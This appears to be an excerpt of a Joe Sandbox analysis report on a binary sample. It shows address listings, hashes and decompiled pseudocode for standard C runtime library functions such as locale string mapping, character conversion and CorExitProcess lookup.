0x001bbde8
0x001bbde8
0x00000000
0x001bbde8
0x001bbb07
0x001bbb0b
0x00000000
0x00000000
0x001bbb11
0x001bbb15
0x00000000
0x00000000
0x001bbb1c
0x001bbb20
0x001bbb23
0x001bbb26
0x001bbb2b
0x001bbb2b
0x001bbb2e
0x001bbb75
0x001bbb77
0x001bbb79
0x001bbb4a
0x001bbb4f
0x001bbb56
0x001bbb5c
0x00000000
0x001bbb7b
0x001bbb7d
0x001bbb7f
0x001bbb80
0x001bbb82
0x001bbb84
0x001bbb84
0x001bbb8e
0x001bbb90
0x001bbb97
0x001bbb9c
0x001bbb9f
0x001bbba2
0x001bbba4
0x001bbbca
0x001bbbd2
0x001bbbd5
0x001bbbdc
0x001bbbe3
0x001bbbe7
0x001bbbe9
0x001bbbf0
0x001bbbf0
0x001bbbf3
0x001bbbf3
0x001bbbf6
0x001bbbf8
0x001bbbfb
0x001bbbfe
0x001bbc03
0x001bbc06
0x001bbc0f
0x001bbc13
0x001bbc16
0x001bbc18
0x001bbc1e
0x001bbc20
0x001bbc29
0x001bbc2a
0x001bbc2c
0x001bbc30
0x001bbc31
0x001bbc35
0x001bbc3f
0x001bbc44
0x001bbc47
0x001bbc56
0x001bbc5a
0x001bbc5d
0x001bbc5f
0x001bbc61
0x001bbc63
0x001bbc68
0x001bbc6a
0x001bbc6e
0x001bbc6f
0x001bbc75
0x001bbc7f
0x001bbc80
0x001bbc85
0x001bbc88
0x001bbc97
0x001bbc9b
0x001bbc9e
0x001bbca0
0x001bbca2
0x001bbca4
0x001bbca6
0x001bbcac
0x001bbcac
0x001bbcad
0x001bbcbc
0x001bbcbd
0x001bbcbd
0x001bbca4
0x001bbca0
0x001bbc88
0x001bbc63
0x001bbc5f
0x001bbc47
0x001bbc20
0x001bbc18
0x001bbcc3
0x001bbcc9
0x001bbccb
0x001bbd3c
0x001bbd3c
0x001bbd40
0x001bbd47
0x001bbd4e
0x001bbd54
0x001bbd56
0x001bbdb4
0x001bbdb4
0x001bbdbc
0x001bbdbd
0x001bbdbf
0x001bbdd8
0x001bbddb
0x001bbd18
0x001bbd19
0x00000000
0x001bbd1e
0x001bbde1
0x00000000
0x001bbde1
0x001bbdc6
0x001bbdd1
0x00000000
0x001bbdd1
0x001bbd58
0x001bbd5b
0x001bbd5e
0x00000000
0x00000000
0x001bbd60
0x001bbd60
0x001bbd63
0x001bbd66
0x001bbd69
0x001bbd70
0x001bbd75
0x001bbd77
0x001bbd7b
0x001bbd96
0x001bbd9a
0x001bbd9b
0x001bbd9e
0x001bbda1
0x001bbdad
0x001bbda3
0x001bbda3
0x001bbda3
0x001bbd7d
0x001bbd7d
0x001bbd7d
0x001bbd88
0x001bbd8d
0x001bbd90
0x001bbd90
0x00000000
0x001bbd75
0x001bbcd0
0x001bbcd3
0x001bbcda
0x001bbcdf
0x00000000
0x00000000
0x001bbce5
0x001bbce8
0x001bbcee
0x001bbcf0
0x00000000
0x00000000
0x001bbcf2
0x001bbcf6
0x00000000
0x00000000
0x001bbd01
0x001bbd08
0x001bbd0e
0x001bbd10
0x001bbd34
0x001bbd37
0x00000000
0x001bbd37
0x001bbd12
0x00000000
0x001bbba6
0x001bbbab
0x001bbbb6
0x001bbd1f
0x001bbd1f
0x001bbd1f
0x001bbd22
0x001bbd23
0x001bbd29
0x00000000
0x001bbd2b
0x001bbba4
0x001bbb79
0x001bbb30
0x001bbb33
0x001bbb44
0x001bbb46
0x001bbb48
0x001bbb66
0x001bbb69
0x001bbb6b
0x001bbb6e
0x00000000
0x001bbb6e
0x00000000
0x001bbb35
0x001bbb35
0x001bbb37
0x001bbb3a
0x00000000
0x001bbb3a
0x001bbb33
0x001bbae7
0x001bbaec
0x001bbaf4
0x00000000
0x001bba7e
0x001bba83
0x001bba86
0x001bba8b
0x001bbe04
0x001bbe04
0x001bbe07
0x001bbe0a
0x001bbe0a

Strings

, xrefs: 001BBCE5

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: bdc1295efbe501e8c49e798a1a48afaf811ece5b19f040ae86a76d6cc6237d42
Instruction ID: 9c56b63dcd47de5196883d4f0153b5e0284f95d19d27353ab3fce5aa9102cc2b
Opcode Fuzzy Hash: bdc1295efbe501e8c49e798a1a48afaf811ece5b19f040ae86a76d6cc6237d42
Instruction Fuzzy Hash: 6AB1F174A08249AFDB15DF99C8C1BEDBBB5BF5A304F184158E4049B692C7B49E42CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001C58DA Relevance: 12.2, APIs: 8, Instructions: 248
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E001C58DA(signed int _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, int _a20, intOrPtr* _a24, intOrPtr* _a28, int _a32) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				signed int _v32;
				intOrPtr* _v36;
				signed int _v40;
				intOrPtr _v44;
				void* _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t49;
				int _t54;
				signed int _t59;
				signed int _t60;
				void* _t63;
				signed int _t64;
				signed int _t65;
				int _t71;
				char* _t76;
				char* _t77;
				int _t81;
				int _t82;
				intOrPtr _t94;
				intOrPtr _t95;
				signed int _t103;
				void* _t104;
				int _t106;
				void* _t107;
				intOrPtr* _t108;

				_t49 =  *0x1d5010; // 0x8121a627
				_v8 = _t49 ^ _t103;
				_t83 = _a24;
				_v40 = _a4;
				_t102 = _a20;
				_v44 = _a8;
				_t53 = _a16;
				_v32 = _a16;
				_v36 = _a24;
				if(_t102 <= 0) {
					if(_t102 < 0xffffffff) {
						goto L54;
					} else {
						goto L3;
					}
				} else {
					_t81 = E001B30CF(_t53, _t102);
					_t83 = _v36;
					_t102 = _t81;
					L3:
					_t101 = _a28;
					if(_t101 <= 0) {
						if(_t101 < 0xffffffff) {
							goto L54;
						} else {
							goto L6;
						}
					} else {
						_t101 = E001B30CF(_t83, _t101);
						_a28 = _t101;
						L6:
						_t82 = _a32;
						if(_t82 == 0) {
							_t82 =  *( *_v40 + 8);
							_a32 = _t82;
						}
						if(_t102 == 0 || _t101 == 0) {
							if(_t102 == _t101) {
								L61:
								_push(2);
								goto L23;
							} else {
								if(_t101 > 1) {
									L32:
									_t54 = 1;
								} else {
									if(_t102 > 1) {
										L22:
										_push(3);
										goto L23;
									} else {
										if(GetCPInfo(_t82,  &_v28) == 0) {
											goto L54;
										} else {
											if(_t102 <= 0) {
												if(_t101 <= 0) {
													goto L33;
												} else {
													if(_v28 >= 2) {
														_t76 =  &_v22;
														if(_v22 != 0) {
															_t101 = _v36;
															while(1) {
																_t94 =  *((intOrPtr*)(_t76 + 1));
																if(_t94 == 0) {
																	goto L32;
																}
																_t100 =  *_t101;
																if(_t100 <  *_t76 || _t100 > _t94) {
																	_t76 = _t76 + 2;
																	if( *_t76 != 0) {
																		continue;
																	} else {
																		goto L32;
																	}
																} else {
																	goto L61;
																}
																goto L55;
															}
														}
													}
													goto L32;
												}
											} else {
												if(_v28 >= 2) {
													_t77 =  &_v22;
													if(_v22 != 0) {
														_t102 = _v32;
														while(1) {
															_t95 =  *((intOrPtr*)(_t77 + 1));
															if(_t95 == 0) {
																goto L22;
															}
															_t100 =  *_t102;
															if(_t100 <  *_t77 || _t100 > _t95) {
																_t77 = _t77 + 2;
																if( *_t77 != 0) {
																	continue;
																} else {
																	goto L22;
																}
															} else {
																goto L61;
															}
															goto L23;
														}
													}
												}
												goto L22;
												L23:
												_pop(_t54);
											}
										}
									}
								}
							}
						} else {
							L33:
							_t59 = E001BDCC5(_t82, 9, _v32, _t102, 0, 0);
							_t106 = _t104 + 0x18;
							_v40 = _t59;
							if(_t59 == 0) {
								L54:
								_t54 = 0;
							} else {
								_t100 = _t59 + _t59 + 8;
								asm("sbb eax, eax");
								_t60 = _t59 & _t59 + _t59 + 0x00000008;
								if(_t60 == 0) {
									L60:
									_push(0);
									goto L59;
								} else {
									if(_t60 > 0x400) {
										_t82 = E001B6429(_t60);
										if(_t82 == 0) {
											goto L60;
										} else {
											 *_t82 = 0xdddd;
											goto L40;
										}
									} else {
										E001A9B20(_t60);
										_t82 = _t106;
										if(_t82 == 0) {
											goto L60;
										} else {
											 *_t82 = 0xcccc;
											L40:
											_t82 = _t82 + 8;
											if(_t82 == 0) {
												goto L60;
											} else {
												_t102 = _a32;
												_t63 = E001BDCC5(_a32, 1, _v32, _a32, _t82, _v40);
												_t107 = _t106 + 0x18;
												if(_t63 == 0) {
													L58:
													_push(_t82);
													L59:
													E001A9527();
													goto L53;
												} else {
													_t101 = _v36;
													_t64 = E001BDCC5(_t102, 9, _v36, _v36, 0, 0);
													_t108 = _t107 + 0x18;
													_v32 = _t64;
													if(_t64 == 0) {
														goto L58;
													} else {
														_t100 = _t64 + _t64 + 8;
														asm("sbb eax, eax");
														_t65 = _t64 & _t64 + _t64 + 0x00000008;
														if(_t65 == 0) {
															L57:
															_push(0);
															goto L52;
														} else {
															if(_t65 > 0x400) {
																_t101 = E001B6429(_t65);
																if(_t101 == 0) {
																	goto L57;
																} else {
																	 *_t101 = 0xdddd;
																	goto L49;
																}
															} else {
																E001A9B20(_t65);
																_t101 = _t108;
																if(_t101 == 0) {
																	goto L57;
																} else {
																	 *_t101 = 0xcccc;
																	L49:
																	_t101 = _t101 + 8;
																	if(_t101 == 0) {
																		goto L57;
																	} else {
																		if(E001BDCC5(_t102, 1, _v36, _a28, _t101, _v32) != 0) {
																			_t71 = E001B8A7E(_v44, _a12, _t82, _v40, _t101, _v32, 0, 0, 0);
																			_t102 = _t71;
																			E001A9527(_t101);
																			E001A9527(_t82);
																			_t54 = _t71;
																		} else {
																			_push(_t101);
																			L52:
																			E001A9527();
																			E001A9527(_t82);
																			L53:
																			goto L54;
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				L55:
				return E001A9545(_t54, _t82, _v8 ^ _t103, _t100, _t101, _t102);
			}

0x001c58e2
0x001c58e9
0x001c58ef
0x001c58f3
0x001c58fa
0x001c58fd
0x001c5900
0x001c5903
0x001c5906
0x001c590c
0x001c5921
0x00000000
0x00000000
0x00000000
0x00000000
0x001c590e
0x001c5910
0x001c5917
0x001c591a
0x001c5927
0x001c5927
0x001c592c
0x001c5941
0x00000000
0x00000000
0x00000000
0x00000000
0x001c592e
0x001c5936
0x001c5939
0x001c5947
0x001c5947
0x001c594c
0x001c5953
0x001c5956
0x001c5956
0x001c595b
0x001c5967
0x001c5b72
0x001c5b72
0x00000000
0x001c596d
0x001c5970
0x001c59fc
0x001c59fe
0x001c5976
0x001c5979
0x001c59c1
0x001c59c1
0x00000000
0x001c597b
0x001c5988
0x00000000
0x001c598e
0x001c5990
0x001c59cb
0x00000000
0x001c59cd
0x001c59d1
0x001c59d7
0x001c59da
0x001c59dc
0x001c59df
0x001c59df
0x001c59e4
0x00000000
0x00000000
0x001c59e6
0x001c59ea
0x001c59f4
0x001c59fa
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x001c59ea
0x001c59df
0x001c59da
0x00000000
0x001c59d1
0x001c5992
0x001c5996
0x001c599c
0x001c599f
0x001c59a1
0x001c59a4
0x001c59a4
0x001c59a9
0x00000000
0x00000000
0x001c59ab
0x001c59af
0x001c59b9
0x001c59bf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x001c59af
0x001c59a4
0x001c599f
0x00000000
0x001c59c3
0x001c59c3
0x001c59c3
0x001c5990
0x001c5988
0x001c5979
0x001c5970
0x001c5a04
0x001c5a04
0x001c5a0f
0x001c5a14
0x001c5a17
0x001c5a1c
0x001c5b22
0x001c5b22
0x001c5a22
0x001c5a25
0x001c5a2a
0x001c5a2c
0x001c5a2e
0x001c5b6e
0x001c5b6e
0x00000000
0x001c5a34
0x001c5a39
0x001c5a58
0x001c5a5d
0x00000000
0x001c5a63
0x001c5a63
0x00000000
0x001c5a63
0x001c5a3b
0x001c5a3b
0x001c5a40
0x001c5a44
0x00000000
0x001c5a4a
0x001c5a4a
0x001c5a69
0x001c5a69
0x001c5a6e
0x00000000
0x001c5a74
0x001c5a7c
0x001c5a82
0x001c5a87
0x001c5a8c
0x001c5b66
0x001c5b66
0x001c5b67
0x001c5b67
0x00000000
0x001c5a92
0x001c5a97
0x001c5a9e
0x001c5aa3
0x001c5aa6
0x001c5aab
0x00000000
0x001c5ab1
0x001c5ab4
0x001c5ab9
0x001c5abb
0x001c5abd
0x001c5b62
0x001c5b62
0x00000000
0x001c5ac3
0x001c5ac8
0x001c5ae7
0x001c5aec
0x00000000
0x001c5aee
0x001c5aee
0x00000000
0x001c5aee
0x001c5aca
0x001c5aca
0x001c5acf
0x001c5ad3
0x00000000
0x001c5ad9
0x001c5ad9
0x001c5af4
0x001c5af4
0x001c5af9
0x00000000
0x001c5afb
0x001c5b12
0x001c5b49
0x001c5b4f
0x001c5b51
0x001c5b57
0x001c5b5e
0x001c5b14
0x001c5b14
0x001c5b15
0x001c5b15
0x001c5b1b
0x001c5b21
0x00000000
0x001c5b21
0x001c5b12
0x001c5af9
0x001c5ad3
0x001c5ac8
0x001c5abd
0x001c5aab
0x001c5a8c
0x001c5a6e
0x001c5a44
0x001c5a39
0x001c5a2e
0x001c5a1c
0x001c595b
0x001c592c
0x001c5b24
0x001c5b35

APIs

GetCPInfo.KERNEL32(00B0E948,00B0E948,?,7FFFFFFF,?,001C5BAA,00B0E948,00B0E948,?,00B0E948,?,?,?,?,00B0E948,?), ref: 001C5980
__alloca_probe_16.LIBCMT ref: 001C5A3B
__alloca_probe_16.LIBCMT ref: 001C5ACA
__freea.LIBCMT ref: 001C5B15
__freea.LIBCMT ref: 001C5B1B
__freea.LIBCMT ref: 001C5B51
__freea.LIBCMT ref: 001C5B57
__freea.LIBCMT ref: 001C5B67

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 3f232482a300dd4c2230538096cb222ba0a2ade1195666c6d2af273c24473c09
Instruction ID: ae8262e042b53d3c582f0bbcdb2c1a840619affbe658c6a169e46e69868de79e
Opcode Fuzzy Hash: 3f232482a300dd4c2230538096cb222ba0a2ade1195666c6d2af273c24473c09
Instruction Fuzzy Hash: AE71F672900A059BDF259E948C42FEEBBABDF65364F29019DF904A7281DB35FC808764

Uniqueness

Uniqueness Score: -1.00%

Function 001A935B Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 001A93A4
__alloca_probe_16.LIBCMT ref: 001A93D0
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 001A940F
LCMapStringEx.KERNEL32 ref: 001A942C
LCMapStringEx.KERNEL32 ref: 001A946B
__alloca_probe_16.LIBCMT ref: 001A9488
LCMapStringEx.KERNEL32 ref: 001A94CA
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 001A94ED

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 32b6ecbfdf8bd21f02e340ec119acd6629aaad9d75e538e5b7a637bc9c24585c
Instruction ID: 89ae904782ceac5b2bee22535d7e4ae91aac8b87e7f94de95ebeb088e3fbd7b4
Opcode Fuzzy Hash: 32b6ecbfdf8bd21f02e340ec119acd6629aaad9d75e538e5b7a637bc9c24585c
Instruction Fuzzy Hash: FA51E07A90020AAFEF219FA5CC85FAB3BB9EF4A750F114425F905E6194D730CD91CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001AC97A Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E001AC97A(void* __ecx, void* __edx) {
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t24;
				long _t25;
				void* _t28;

				_t13 = __ecx;
				if( *0x1d5040 != 0xffffffff) {
					_t25 = GetLastError();
					_t11 = E001ADB83(_t13,  *0x1d5040);
					_t14 = _t24;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						if(_t11 == 0) {
							if(E001ADBBE(_t14,  *0x1d5040, 0xffffffff) != 0) {
								_push(0x28);
								_t28 = E001ADCC3();
								_t18 = 1;
								if(_t28 == 0) {
									L8:
									_t11 = 0;
									E001ADBBE(_t18,  *0x1d5040, 0);
								} else {
									_t8 = E001ADBBE(_t18,  *0x1d5040, _t28);
									_pop(_t18);
									if(_t8 != 0) {
										_t11 = _t28;
										_t28 = 0;
									} else {
										goto L8;
									}
								}
								E001AFB09(_t28);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t25);
					return _t11;
				} else {
					return 0;
				}
			}

0x001ac97a
0x001ac981
0x001ac994
0x001ac99b
0x001ac99d
0x001ac9a1
0x001ac9ba
0x001ac9ba
0x001ac9a3
0x001ac9a5
0x001ac9b8
0x001ac9bf
0x001ac9c8
0x001ac9cb
0x001ac9ce
0x001ac9e2
0x001ac9e2
0x001ac9eb
0x001ac9d0
0x001ac9d7
0x001ac9dd
0x001ac9e0
0x001ac9f4
0x001ac9f6
0x00000000
0x00000000
0x00000000
0x001ac9e0
0x001ac9f9
0x00000000
0x00000000
0x00000000
0x001ac9b8
0x001ac9a5
0x001aca01
0x001aca0b
0x001ac983
0x001ac985
0x001ac985

APIs

GetLastError.KERNEL32(?,?,001AC971,001AAF44,001AA237), ref: 001AC988
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 001AC996
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 001AC9AF
SetLastError.KERNEL32(00000000,001AC971,001AAF44,001AA237), ref: 001ACA01

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 0b6e86090f1d6e349a1506d7acdd109ea3db7277694705a8433d12f317ea78bf
Instruction ID: 5bc9ae7bdbae0b5bfab97e6542a8b011bb680e8c2f5ecb70447fad7d74ad85a0
Opcode Fuzzy Hash: 0b6e86090f1d6e349a1506d7acdd109ea3db7277694705a8433d12f317ea78bf
Instruction Fuzzy Hash: 6A01F73E20FB116EAB252774FC95A2B2F45EB13379730032AF522AA6F0EF514C4096D4

Uniqueness

Uniqueness Score: -1.00%

Function 001B3E5B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E001B3E5B(intOrPtr _a4) {
				char _v16;
				signed int _v20;
				signed int _t11;
				int _t14;
				void* _t16;
				void* _t20;
				int _t22;
				signed int _t23;

				_t11 =  *0x1d5010; // 0x8121a627
				 *[fs:0x0] =  &_v16;
				_v20 = _v20 & 0x00000000;
				_t14 =  &_v20;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t14, _t11 ^ _t23, _t20, _t16,  *[fs:0x0], 0x1c6a9a, 0xffffffff);
				if(_t14 != 0) {
					_t14 = GetProcAddress(_v20, "CorExitProcess");
					_t22 = _t14;
					if(_t22 != 0) {
						 *0x1c7144(_a4);
						_t14 =  *_t22();
					}
				}
				if(_v20 != 0) {
					_t14 = FreeLibrary(_v20);
				}
				 *[fs:0x0] = _v16;
				return _t14;
			}

0x001b3e70
0x001b3e7b
0x001b3e81
0x001b3e85
0x001b3e90
0x001b3e98
0x001b3ea2
0x001b3ea8
0x001b3eac
0x001b3eb3
0x001b3eb9
0x001b3eb9
0x001b3eac
0x001b3ebf
0x001b3ec4
0x001b3ec4
0x001b3ecd
0x001b3ed7

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,8121A627,?,?,00000000,001C6A9A,000000FF,?,001B3DEB,001B3F1B,?,001B3DBF,00000000), ref: 001B3E90
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 001B3EA2
FreeLibrary.KERNEL32(00000000,?,?,00000000,001C6A9A,000000FF,?,001B3DEB,001B3F1B,?,001B3DBF,00000000), ref: 001B3EC4

Strings

CorExitProcess, xrefs: 001B3E9A
mscoree.dll, xrefs: 001B3E89

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: eafab0aab871dc3ff432bf540ee82cb5a39a775c3ca4ba43ce79145aeb02137f
Instruction ID: ec0670d08844666ce99fc9e0c11f328f8081a36c3603cf777d2e5138ecfe1e45
Opcode Fuzzy Hash: eafab0aab871dc3ff432bf540ee82cb5a39a775c3ca4ba43ce79145aeb02137f
Instruction Fuzzy Hash: 4201A23190462AAFCB128F50CC09FAEBBB8FB04B15F00452AF821E26D0DBB4D940CF90

Uniqueness

Uniqueness Score: -1.00%

Function 001BC276 Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E001BC276(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				intOrPtr _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t41;
				intOrPtr _t46;
				signed int _t49;
				void* _t52;
				signed int _t56;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t73;
				void* _t74;
				intOrPtr _t75;
				void* _t92;
				intOrPtr* _t93;
				void* _t95;
				intOrPtr* _t96;
				intOrPtr* _t98;
				signed int _t99;
				void* _t100;
				intOrPtr* _t101;
				intOrPtr* _t103;
				void* _t106;

				_push(__ecx);
				_push(__ecx);
				_t41 =  *0x1d5010; // 0x8121a627
				_v8 = _t41 ^ _t99;
				_t73 = _a20;
				if(_t73 > 0) {
					_t71 = E001B30CF(_a16, _t73);
					_t106 = _t71 - _t73;
					_t4 = _t71 + 1; // 0x1
					_t73 = _t4;
					if(_t106 >= 0) {
						_t73 = _t71;
					}
				}
				_t77 = _a32;
				if(_a32 == 0) {
					_t70 =  *((intOrPtr*)( *_a4 + 8));
					_t77 = _t70;
					_a32 = _t70;
				}
				_t46 = E001BDCC5(_t77, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t73, 0, 0);
				_t101 = _t100 + 0x18;
				_v12 = _t46;
				if(_t46 == 0) {
					L41:
					_pop(_t92);
					_pop(_t95);
					_pop(_t74);
					return E001A9545(_t46, _t74, _v8 ^ _t99, 0x400, _t92, _t95);
				} else {
					_t16 = _t46 + _t46 + 8; // 0x8
					asm("sbb eax, eax");
					_t49 = _t46 + _t46 & _t16;
					if(_t49 == 0) {
						_t96 = 0;
						L39:
						_t75 = 0;
						L40:
						E001A9527(_t96);
						_t46 = _t75;
						goto L41;
					}
					if(_t49 > 0x400) {
						_t93 = E001B6429(_t49);
						if(_t93 == 0) {
							L13:
							_t96 = _t93;
							if(_t93 == 0) {
								goto L39;
							}
							_t52 = E001BDCC5(_a32, 1, _a16, _t73, _t93, _v12);
							_t103 = _t101 + 0x18;
							if(_t52 == 0) {
								goto L39;
							}
							_t97 = _v12;
							_t75 = E001B8D6B(_a8, _a12, _t93, _v12, 0, 0, 0, 0, 0);
							if(_t75 == 0) {
								L19:
								_t96 = _t93;
								goto L39;
							}
							if((_a12 & 0x00000400) == 0) {
								_t31 = _t75 + _t75 + 8; // 0x8
								asm("sbb eax, eax");
								_t56 = _t75 + _t75 & _t31;
								if(_t56 == 0) {
									_t98 = 0;
									L37:
									E001A9527(_t98);
									goto L19;
								}
								if(_t56 > 0x400) {
									_t98 = E001B6429(_t56);
									if(_t98 == 0) {
										goto L37;
									}
									 *_t98 = 0xdddd;
									L28:
									_t98 = _t98 + 8;
									if(_t98 == 0 || E001B8D6B(_a8, _a12, _t93, _v12, _t98, _t75, 0, 0, 0) == 0) {
										goto L37;
									} else {
										_push(0);
										_push(0);
										if(_a28 != 0) {
											_push(_a28);
											_push(_a24);
										} else {
											_push(0);
											_push(0);
										}
										_push(_t75);
										_push(_t98);
										_push(0);
										_push(_a32);
										_t75 = E001BDD41();
										if(_t75 == 0) {
											goto L37;
										} else {
											E001A9527(_t98);
											L34:
											_t96 = _t93;
											goto L40;
										}
									}
								}
								E001A9B20(_t56);
								_t98 = _t103;
								if(_t98 == 0) {
									goto L37;
								}
								 *_t98 = 0xcccc;
								goto L28;
							}
							_t65 = _a28;
							if(_t65 == 0) {
								goto L34;
							}
							if(_t75 <= _t65) {
								_t75 = E001B8D6B(_a8, _a12, _t93, _t97, _a24, _t65, 0, 0, 0);
								if(_t75 != 0) {
									goto L34;
								}
							}
							goto L19;
						}
						 *_t93 = 0xdddd;
						L12:
						_t93 = _t93 + 8;
						goto L13;
					}
					E001A9B20(_t49);
					_t93 = _t101;
					if(_t93 == 0) {
						goto L13;
					}
					 *_t93 = 0xcccc;
					goto L12;
				}
			}

0x001bc27b
0x001bc27c
0x001bc27d
0x001bc284
0x001bc288
0x001bc28f
0x001bc295
0x001bc29b
0x001bc29e
0x001bc29e
0x001bc2a1
0x001bc2a3
0x001bc2a3
0x001bc2a1
0x001bc2a5
0x001bc2aa
0x001bc2b1
0x001bc2b4
0x001bc2b6
0x001bc2b6
0x001bc2d2
0x001bc2d7
0x001bc2da
0x001bc2df
0x001bc452
0x001bc455
0x001bc456
0x001bc457
0x001bc463
0x001bc2e5
0x001bc2e7
0x001bc2ec
0x001bc2ee
0x001bc2f0
0x001bc445
0x001bc447
0x001bc447
0x001bc449
0x001bc44a
0x001bc450
0x00000000
0x001bc450
0x001bc2fb
0x001bc316
0x001bc31b
0x001bc326
0x001bc326
0x001bc32a
0x00000000
0x00000000
0x001bc33d
0x001bc342
0x001bc347
0x00000000
0x00000000
0x001bc34d
0x001bc364
0x001bc368
0x001bc383
0x001bc383
0x00000000
0x001bc383
0x001bc372
0x001bc3af
0x001bc3b4
0x001bc3b6
0x001bc3b8
0x001bc437
0x001bc439
0x001bc43a
0x00000000
0x001bc43f
0x001bc3bc
0x001bc3d7
0x001bc3dc
0x00000000
0x00000000
0x001bc3de
0x001bc3e4
0x001bc3e4
0x001bc3e9
0x00000000
0x001bc405
0x001bc407
0x001bc408
0x001bc40c
0x001bc42f
0x001bc432
0x001bc40e
0x001bc40e
0x001bc40f
0x001bc40f
0x001bc410
0x001bc411
0x001bc412
0x001bc413
0x001bc41b
0x001bc422
0x00000000
0x001bc424
0x001bc425
0x001bc42b
0x001bc42b
0x00000000
0x001bc42b
0x001bc422
0x001bc3e9
0x001bc3be
0x001bc3c3
0x001bc3c7
0x00000000
